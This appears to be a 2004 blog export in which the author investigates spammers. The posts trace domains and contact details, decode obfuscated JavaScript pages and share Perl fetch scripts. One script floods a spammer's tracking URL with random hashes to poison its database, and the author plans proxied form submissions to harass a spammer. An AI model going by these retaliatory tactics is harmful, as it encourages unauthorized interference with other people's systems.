<br />
<br />Administrative Contact: </span>
<br /> Admin, Domain masterlyintl@hushmail.com</span>
<br /> Sabana sur</span>
<br /> 25mts al sur del</span>
<br /> Supermercado AM PM</span>
<br /> San Jose, CR --</span>
<br /> CR</span>
<br /> +011.5068246415 </span>
<br />Fax:+011.5062722279</span>
<br />
<br />
<br />Technical Contact: </span>
<br /> Admin, Domain masterlyintl@hushmail.com</span>
<br /> Sabana sur</span>
<br /> 25mts al sur del</span>
<br /> Supermercado AM PM</span>
<br /> San Jose, CR --</span>
<br /> CR</span>
<br /> +011.5068246415 </span>
<br />Fax:+011.5062722279</span>
<br />
<br />
<br />Record expires on 09-02-2005</span>
<br />Record created on 09-02-2004</span>
<br />
<br />Domain servers in listed order:</span>
<br /> NS0.CLEANWEBFILES.COM 64.38.198.11</span>
<br /> NS1.CLEANWEBFILES.COM 64.38.198.13</span>
<br />
<br />There was another URL in the email so let's try to work with that one</span>
<br />http://exclamation.00000000000000000000.spotty.hdhda.com/rd/xxxxxxxxxx/xxxxxxxxxxxxxxxx.HTM</span>
<br />OK this isn't work, so I went to usenet and found an an abuse posting that gave another address not linked to mine. So let's try it out instead</span>
<br />http://Cecropia.321908402677499182.plead.</span><b>hdhda</b>.</span><b>com
<br /></b>another 404, I'm guessing because I don't have the hashes at the end of the URL.</span>
<br />Bingo, got it!</span>
<br />Another post had munged up the address and it still worked.</span>
<br />http://unevaluated.530896695780071931.poodle.hdhda.com/rd/UrHaeRXA4a/yY389QLQcc5AbG1.HTML</span>
<br />
<br />the page lists itself as "HELMY Enterprises, Inc." althought I doubt this moron actually files papers and has a DBA. Just a guess though.</span>
<br />there's an affliliate link on the bottom for http://www.gigacash.com which I'll check out later. </span><b>
<br /></b>the link to it is another candidate for falsePozi.pl
<br />http://www2.gigacash.com/popup/gc.php?gcaid=188234&gcsa=default
<br />
<br />Helmy enterprises actually has a website if you can believe that.
<br />I've linked to the google cache to make this more discreet
<br />http://64.233.161.104/search?q=cache:VM3pMCl7uMAJ:helmy.com/+HELMY+Enterprises,+Inc.&hl=en
<br />Here is our scumbags email addy according to the site
<br />info2@helmy.com
<br />email@helmy.com
<br />
<br />The address is just a PO Box in Los Angeles<b>
<br /></b> <li><span style=";font-family:Courier New,Courier,mono;font-size:85%;">US & Canada: 888.8.HELMYS </span></li><li><span style=";font-family:Courier New,Courier,mono;font-size:85%;">International: 310.820.0228</span></li><li><span style=";font-family:Courier New,Courier,mono;font-size:85%;">PO BOX 492146, LA, CA 90049</span></li> OH wait it gets better, an employment page! Oh yes can I please work for you? I mean I have never had a job where I am considered by most to be the slime of the earth.</span>
<br />Let's have some fun with this now.</span>
<br /><b>
<br /></b>Now the way most forms work is they have a bunch of fields and then there is an "action" field which tells you where it's going to go. This one requires only slightly more work in that it's using POST so I can't just make a big URL and shove it down his digital throat.
<br />In this case the relevent data is as follows
<br />
<br /> <form method="POST" action="FormMail.pl5">
<br /> <input type="text" name="name" size="40" value="">
<br /> <input type="text" name="email" size="40">
<br /> <input type="text" name="phone" size="40">
<br /> <textarea name="comments" rows="5" cols="31"></textarea>
<br /> <input type=HIDDEN name="recipient" value="email@helmy.com">
<br /> <input type=HIDDEN name="subject" value="HELMY Employment Inquiry Form">
<br /> <input type=HIDDEN name="redirect" value="http://www.helmy.com">
<br /> <input type=HIDDEN name="required" value="name, email">
<br /> <input type="submit" value=">> send" name="B12">
<br />
<br />So this employment application goes right to his email. interesting, spamming a known spammer.. the irony is too much sometimes.</span>
<br />alright let's get to work here, I need to create a modified HTTPsend.pl script so I can send in my work request. I'm also going to have to hide my request by going through an anonymous proxy so he doesn't just check his logs tomorrow and blag my IP address. It will all be documented in the next post so stay tuned (not that anyone is actually reading this).</span>
<br /><div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-109495672212271756?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com4tag:blogger.com,1999:blog-8256693.post-1094948824548289262004-09-11T20:05:00.000-04:002004-09-11T20:27:04.546-04:00Creating false positives for spammersSince he is trying to figure out who is "live" in his spam rolodex let's have a little fun.
<br />The first tool to use would be a random text generator or in this case a simple encoder.
<br />We don't need truely random here so Mime64 encoded using localtime() output will work just fine.
<br /><span style="font-family: monospace;">
<br />
<br />So here is what I came up with for blingcash so far
<br />
<br />#!/usr/bin/perl -w
<br />use strict;
<br />use LWP::UserAgent;
<br />use MIME::Base64;
<br />
<br />my $text= "spammersuck";
<br />
<br /># Create a user agent object
<br />my $ua = LWP::UserAgent->new;
<br />$ua->agent("Mozilla/8.0"); # pretend we are very capable browser :)
<br />
<br />
<br />my $baseURL='http://birdgenus.com/web09.php/';
<br />
<br />sub getPage
<br />{
<br /> my $key = localtime();
<br /> #removing anything that is not a digit
<br /> $key=~s/\D//g;
<br /> $key=rand($key);
<br /> my $encoded = encode_base64("$key:$text");
<br />
<br /> #original email had a 16 char hash so just making sure mine is similar
<br /> my $hash=substr($encoded,0,15);
<br />
<br /> my $req = HTTP::Request->new(GET => $baseURL.$hash);
<br /> $req->header('Accept' => 'text/html');
<br />
<br /> # Pass request to the user agent and get a response back
<br /> my $res = $ua->request($req);
<br />
<br /> # Check the outcome of the response
<br /> if ($res->is_success) {
<br /> print $hash . " " .$res->status_line . "\n";
<br /> }
<br /> else {
<br /> print "Error: " . $res->as_string . "\n" if ($res->status_line!~/404/);
<br /> }
<br />}
<br />
<br />foreach my $try (1..5)
<br />{
<br /> getPage();
<br />}
<br /></span> <pre>
<br />
<br />
<br /></pre>
<br /><div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-109494882454828926?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com3tag:blogger.com,1999:blog-8256693.post-1094947426055395382004-09-11T19:51:00.000-04:002005-03-23T00:39:00.060-05:00hey from teenieNew format here, I will post the headers first and the results afterwards. This may make it easier later on if this blog ever gets viewed by another person.<br />Return-Path: <teeniefgcd@megamarge.com><br />Delivered-To: john@<br />Received: (qmail 17769 invoked from network); 11 Sep 2004 16:17:26 -0000<br />Received: from unknown (HELO felicite.kwiksuzie.com) (209.200.9.148)<br /> by 2.69-93-235.reverse.theplanet.com with SMTP; 11 Sep 2004 16:17:26 -0000<br />Received: from mail pickup service by megamarge.com with Microsoft SMTPSVC;<br /> Sun, 12 Sep 2004 00:05:26 -0800<br />Received: from 197.208.117.20 by by7fd.bay7.megamarge.com with HTTP;<br /> Sun, 12 Sep 2004 00:05:26 GMT<br />X-Originating-IP: [197.208.117.20]<br />X-Originating-Email: [teeniefgcd@megamarge.com]<br />X-Sender: teeniefgcd@megamarge.com<br />From: teenie <teeniefgcd@megamarge.com><br />To: John <john@><br />Subject: hey<br />Date: 12 Sep 2004 00:05:26 -0400<br />Mime-Version: 1.0<br />Content-type: text/html<br />Message-ID: <sr4-a8400b275660dac9d8e5f4d8f7433c61@megamarge.com><br />Return-Path: <teeniefgcd@megamarge.com><br /><br />This spammer is using the same type of stealthing techniques, random dictionary words, url encoding and a targeted URL.<br /><br />the URL's are designed to tie back to the email address like a hash. In fact this probobly is a hashed value which is tied to a database entry. <br /><span style="font-weight: bold;">http://birdgenus.com/web09.php/REWDgUhozXE482E<br />I've obviously changed this value around a little. In fact one of the perl scripts I love using makes random values which will cause lots of false positives in their database. <br /></span><br />Hrm the result looks awefully familiar. Just like the one I saw in my first post. It may even be the exact same person respamming me. It's not like these spammers have morals or ethics.<br />Ya it's the same guy from http://www.blingcash.com. I used the same technique as last time, take the script shown below and change document.write to alert and view the content safely.<br />I've been thinking of changing to this to populating a text field so I can easily cut and past the results.<br /><form><br /><textarea cols=80 rows=5><br /><script language=JavaScript>function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,20,2,21,43,60,61,62,6,42,0,0,0,0,0,0,34,50,52,1,46,59,17,4,57,56,26,27,15,39,25,12,10,18,7,58,54,47,40,28,9,41,49,0,0,0,0,51,0,55,13,36,35,16,23,0,3,44,30,45,19,24,32,33,37,5,11,31,38,8,14,48,53,22,29);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}decrypt_p("NTWBuM5tUtNBORzAgUXZR4OBF0HZXl5AvMY@F_WBXh5tUtHIalvSnKLIZfIxPrkxmjmpX7IoqjiAfROwfdNpqv5xGdOwR45xCh5xmyNohsbZuhix3liZOUiwmyNoPUWSPlWwmjVSR0OtPfbwraVnbRzB30Y@PPkBQUIZX_5A2KOZya5@84OAP2WaORk@gak@2tmo22WaORknXPmBP4WARl5xmyN@uh5AesOZfdNpXJkZf4WAXsOZfKbt1tmAPKOZF_iArdXpXJzBGRbBydXpXjbwy_5aGsWAgdXpX8kA3dNpXtOwhRbt3tVBORWBbdNM3yN@bhO_2aWBmvNp3tVx8sbwgUW0mQN@yK5xgh5A5dXp2AVM9s5_rjWAeszdOSHoK7JtdsLHVhjoyskZmjuZR4OBF0HZXl5AvsmorlOAgdHo34WxRyIwflOAgsiAfROwfdNpq@OZfrO_rrb_CRz_myNoul5x2_5AbhO_2aWBmyNor45xgKb_sh5tUtHIalvSnfVxfKOtRTWBFf6MP9VBQr6@RMO_rriZGKz_rJiAu4m_OR6@3aWxJPbt1yNp3yNphJbtzvmxmjHoqDOZuhOtRP6oqv5xGdOwR45xCh5xmyNoul5x2_5AQ_WwFaOt3yuAGskwOUW_g_iwbRbt3yIAPsbwy_5agUH4N9IIalvSnKLIZUH4N9m_FdWAK2")</script><br /></textarea><br /></form><br />I've already covered blingcash.com so let's move on to another one.<div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-109494742605539538?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com1tag:blogger.com,1999:blog-8256693.post-1094946261400142412004-09-11T19:37:00.000-04:002004-09-11T19:44:21.400-04:00my methodsI wanted to spend some time documenting my methods. I only use freeware tools at this point such as perl, outlook express and vim.
<br />Outlook Express is my collector, it is cofigured for the catch all address of my domain. For every oddball site I've ever gone to I would enter a custom email. In one case MPCMag who offered free magazine subscriptions the spam would get sent to MPCMag@mydomain.com
<br />Once the spams are in my inbox (with previewing turned off of course) I would simply click on the file and hold, drag it onto my desktop and then edit the file using vim. Vim is VI improved for those who don't know and is a great free text editor.
<br />The non free tool I use to speed things up are Komodo a fantastic perl IDE I purchased a year ago from Activestate (now Sophos). I could do without it but I really love the tool and it is nice when I'm coding to have an interactive debugger like this handy.
<br />
<br />The normal mode of operation here is to find a page of entry which is usually in the email itself and then download the page in my perl script. This prevents any nasty activeX or other surprises from infecting me. In linux I would use curl for this of course.
<br />Here is a sample perl script I use.
<br />
<br />#!/usr/bin/perl
<br />use strict;
<br />
<br />use LWP::UserAgent;
<br />
<br /># Create a user agent object
<br />my $ua = LWP::UserAgent->new;
<br /># $ua->agent("$0/0.1 " . $ua->agent);
<br />$ua->agent("Mozilla/8.0"); # pretend we are very capable browser :)
<br />my $counter;
<br /># Initialize proxy settings from environment variables
<br />$ua->env_proxy;
<br />my @dictionary;
<br /># Create a request
<br />
<br /># this is an actual spammer URL that was sent to a troll account
<br />my $baseURL='http://www.ad0u.com/maildeny.php';
<br />
<br />sub getPage
<br />{
<br /> my $req = HTTP::Request->new(GET => $baseURL);
<br /> $req->header('Accept' => 'text/html');
<br />
<br /> # Pass request to the user agent and get a response back
<br /> my $res = $ua->request($req);
<br />
<br /> # Check the outcome of the response
<br /> if ($res->is_success) {
<br /> print $res->content;
<br /> }
<br /> else {
<br /> print "Error: " . $res->status_line . "\n" if ($res->status_line!~/404/);
<br /> }
<br />}
<br />
<br />getPage();
<br />
<br /><div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-109494626140014241?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com0tag:blogger.com,1999:blog-8256693.post-1094704868624108352004-09-09T00:15:00.000-04:002005-03-23T00:40:40.440-05:00First PostSpam Hunting is a new sport I've decided to engage in. I know of others who do this in one way or another. Some play as dirty as the spammers but since I'm cataloging this I'll obviously stay clean.<br />My first piece of spam was from a bounce account on my domain. Bounce accounts are accounts friends used to have on my domain and have discontinued. But the spammers don't know that and still send junk their way. There is a lot of cat and mouse games with these scum such as encrypting pages using scripts.<br />Our first came in a strange letter that just said Hi in the subject.<br />[note: for obvious reasons I removed the address of the recipient but feel free to spam the spammer :) ]<br />the actual text of the message is encoded using HTML encoding (&xx;) with random dictionary words peppered in comment tags. It points to a site http://goedog.com/<br /><br />So I fire up my trusty perl debugger from and pull down the page. I would use curl if I had my linux box up but I'm at my work laptop so windows it is.<br />The result is a single line of javascript with an encoded page. It's meant to keep prying eyes away from the inner workings. Pretty lame though. So I paste this into my HTML editor and change a single piece. Instead of document.write now it will use document.alert. So the HTML will not render but show up in a pop up box.<br /><form><textarea cols=80 rows=5><br /><script language="JavaScript">function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,3,57,58,6,52,39,47,33,45,0,0,0,0,0,0,10,22,4,5,32,28,35,55,31,19,1,8,15,17,16,36,24,38,13,21,43,56,20,18,37,30,2,0,0,0,0,25,0,42,27,49,46,9,11,41,48,23,50,14,59,54,29,40,44,0,51,7,34,62,53,12,61,60,26);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=string.fromcharcode(165^w&255);w>>=8;s-=2}else{s=6}}alert(r)}}decrypt_p("_mE5K6yQ7Q_5wsnjq7ecsTw5M02ceIyjk6gtMrE5e1yQ7Q2UGIk3DbLUciUv@f9vPYPXeuU8CYpjiswhiF_XCkyvBFwhsTyvJ1yvPA_81HRcK1pvSIpcw7phPA_8@7E3@IEhPYo3s0wQ@iRhfGoDRsn5S0gt@@95W7UceryjZbwcAGyt4Twj@ZEGws9tqG9tZQP8ZZEGws9De@P5@TEjsIyvPA_tK1yjNHwciF_Xez9ciTEjeHwcibRQVQPj@bwcMrpjfFeXezn5BsR5AFeXeYRhAryGBHEjqFeXe49jSF_XeQwh1sRQSQo5wsE5RF_6SA_tR1wrZGE5Pk_XSQov4HRhq7E0PW_tAbyvq1yjyFeXZjo6aHyrfYEjNHnFw328buzQFHL2o1Y8AH9cPYKcsTw5M02ceIyjkHP8fIwjqF28STEvsAUhiIwjqHpjiswhiF_XCtwcifwrffRrJsnrPA_8KIyvZryjR1wrZGE5PA_8fTyvqbRrH1yQ7Q2UGIk3DiovibwQsmE5Mix6@ao5Wfxts6wrffpcBbnrfzpjKTPrwsxtSGEvz@RQVA_XSA_X1zRQnkPvPY28CdwcK1wQs@x8CkyvBFwhsTyvJ1yvPA_8KIyvZryjWrEhMGwQSAKjBH9hw7ErqrphRsRQSAUj@HRhAryGq72T_aUUGIk3DbLUc72T_aPrMFEjbZ")</script><br /></textarea></form><br />The page of course points to yet another site, http://www.blingcash.com/<br />[urls]<br />http://www.blingcash.com/exit/ex/<br />http://www.blingcash.com/hit.php?w=100000&s=8&p=2<br /><br />Blingcash seems to be nothing more then a porn site, however once you start playing with the variables new pages appear.<br /><form><textarea cols=80 rows=5><br />http://www.blingcash.com/hit.php?w=1000000000000000000000000000000000000000000000000000000&s=800000000000000000000000000000000000&p=3<br /></textarea></form><br />The title of the page, BlingCash.com ::: Covert Like the Ole' Days!<br />Ya the good ole days..<br />Here was something disturbing. It was targeted to people that were part of the reseller (spamming) program. In particular<br />"<br /> What happens when your Epoch customer cancels<br /><br /> his membership with your paysite? Simply send<br /><br /> him one of our new cross sale mailers...a<br /><br /> single click later and you've earned $15.<br /><br /> Let us show you how to profit off cancellations!<br /><br /> CLICK HERE to learn more!<br />"<br /><br />From there I found a contact page!<br /><p><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"><strong>US Phone: </strong></span><br /> <span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;">(702) 547-0900</span></p> <p><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"><strong>Canada Phone: </strong></span><br /> <span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;">(416) 691-2812<br /></span></p> <p><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"><strong>Marketing Email: </strong></span><br /> <span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"><a href="mailto:sales@blingcash.com"><span style="color: rgb(0, 0, 0);">sales@blingcash.com</span></a></span></p> <p><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"><strong>Support Email: </strong></span><br /> <span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"><a href="mailto:support@blingcash.com"><span style="color: rgb(0, 0, 0);">support@blingcash.com</span></a></span></p> <p><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"><strong>ICQ Contact : </strong></span><br /> <span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;">96944506<br /></span></p> <p><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;">OK I'll play. Let's talk to the scum bag and see what he says.<br /></span></p><br /><br /><br /><br />Return-Path: <merryxeqh com=""><br />Delivered-To: john@com<br />Received: (qmail 22370 invoked from network); 9 Sep 2004 00:42:03 -0000<br />Received: from unknown (HELO bebe.sylviidae.com) (209.200.9.195)<br />by 2.69-93-235.reverse.theplanet.com with SMTP; 9 Sep 2004 00:42:03 -0000<br />Received: from mail pickup service by citysilvia.com with Microsoft SMTPSVC;<br /> Thu, 9 Sep 2004 08:50:47 -0800<br />Received: from 104.106.80.174 by by7fd.bay7.citysilvia.com with HTTP;<br /> Thu, 9 Sep 2004 08:50:47 GMT<br />X-Originating-IP: [104.106.80.174]<br />X-Originating-Email: [Merryxeqh@citysilvia.com]<br />X-Sender: Merryxeqh@citysilvia.com<br />From: Merry <merryxeqh com=""><br />To: John <john com=""><br />Subject: hi<br />Date: 9 Sep 2004 08:50:47 -0400<br />Mime-Version: 1.0<br />Content-type: text/html<br />Message-ID: <sr0-f95ac23eb70ba7c673862a4f893f6e12 com=""><br />Return-Path: <merryxeqh com=""><br /><br /></merryxeqh></sr0-f95ac23eb70ba7c673862a4f893f6e12></john></merryxeqh></merryxeqh><div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-109470486862410835?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com1